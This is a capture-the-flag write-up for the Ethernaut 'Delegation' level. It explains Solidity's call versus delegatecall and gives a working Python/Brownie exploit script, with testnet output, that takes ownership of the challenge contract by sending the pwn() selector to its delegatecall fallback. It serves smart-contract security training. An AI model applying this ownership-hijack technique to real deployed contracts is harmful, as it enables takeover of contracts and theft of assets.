Ethernaut Delegation

The Delegate Call

In order for a contract to interact with other contracts, solidity provides 3 methods: call, delegatecall and staticcall.

Call

The call function is a way for one contract to interact with another contract by invoking its functions. This execution happens in the context of the called contract till returning the value and the context back to the calling contract.

DelegateCall

The delegatecall function is how one can create libraries in ethereum. A contract having a bulk of functions that can have its methods used in various scenarios by other contracts, multiple times. This execution will happen in the context of the calling contract only.

StaticCall

The staticcall function is similar to the call, in the way that it also invokes other contract functions. However, it can only be used in read-only functions, as it makes sure the called function won’t change any state. In case the called function would change any state, the execution will be unsuccessful.

This post scope will mainly focus on the call and delegatecall solidity functions.

The challenge consists of two contracts, Delegate and Delegation. The Delegation contracts keeps track of the address of Delegate and will issue a delegatecall to an arbitrary function of the Delegate contract, based on the msg.data parameter. Refer below for the full challenge code.

To illustrate and explain what happens to the context of execution when using a call vs delegatecall, consider the following scenario:

Alice broadcasts a transaction for contract Alpha, to execute the do() function. Depending on whether the do() function issues a call or delegatecall, the following table shows what are the contents of some of the Execution Context Variables:

The above table clearly shows which contract state a given function will write to and which context will it use, depending if the trigger was a call or delegatecall.

This means that, for the challenge in scope, in order to achieve ownership of the Delegation contract, one can leverage the delegatecall to the Delegate contract and target the pwn() function. The pwn() function will execute in the Delegation contract storage, effectively changing the Delegation owner attribute.

Exploitation Steps

Note: I have shifted to Brownie framework to solve the challenges, instead of only using the web3.py library. Refer to this post for some guidelines.

As stated above, to take ownership of the Delegation contract we need to use the fallback function to issue a delegatecall to the pwn() function of the Delegate contract. The delegatecall function receives the target function and its parameters encoded as per the ABI Specification. In solidity it would be: delegatecall(abi.encodeWithSignature("pwn()").

These are the steps necessary to simulate this encoding in python:

  • Use Keccak256 to hash the function signature “pwn()“
  • Extract the function selector by fetching the first 4 bytes of the resulting hash
  • Since there are no parameters, pad the value to 32 bytes, adding 0’s
  • Add the result to the data attribute of a transaction object
  • Create, Sign and Broadcast the transaction
  • Get Ownership
# Function Signature
function_signature = "pwn()"
# Encode the function call data
# Get the first 10 characters to account for the leading '0x'
encoded_function_call = web3.keccak(text=function_signature).hex()[:10]
# Pad the result to 32 bytes
data = encoded_function_call + '0'*(66-len(encoded_function_call))
=> '0xdd365b8b00000000000000000000000000000000000000000000000000000000'
# Create the transaction object
tx = {
'gas': 49507,
'maxFeePerGas': 1495139121,
'maxPriorityFeePerGas': 1495139105,
'from': hacker.address,
'nonce': web3.eth.get_transaction_count(hacker.address),
'to': delegation.address,
'data': data,
'chainId':chain.id
}
# Sign Transaction
signed_tx = web3.eth.account.sign_transaction(tx, hacker.private_key)
# Broadcast the Transaction
tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)

Running the exploit

root@Web3 ❯ brownie run --network sepolia -i pwn.py                                                     
Brownie v1.19.3 - Python development framework for Ethereum
Running 'scripts/pwn.py::main'...
[+] Delegation contract deployed @ 0xF31439066A819827ecA7A2014a930531da4e4064
[+] Delegation owner: 0x73379d8B82Fda494ee59555f333DF7D44483fD58
[+] Transaction data => 0xdd365b8b00000000000000000000000000000000000000000000000000000000
[+] Broadcasted Tx: 0xaff6d40f69820387f086adf6fbcccd13a37d786b90b860e0b4fb93d7a5d7d4b4
Interactive mode enabled. Use quit() to close.
>>> delegation.owner() == hacker.address
True

Refer below for the final exploitation code :

References

Big props to @the_ethernaut for creating the content.

Share: Twitter LinkedIn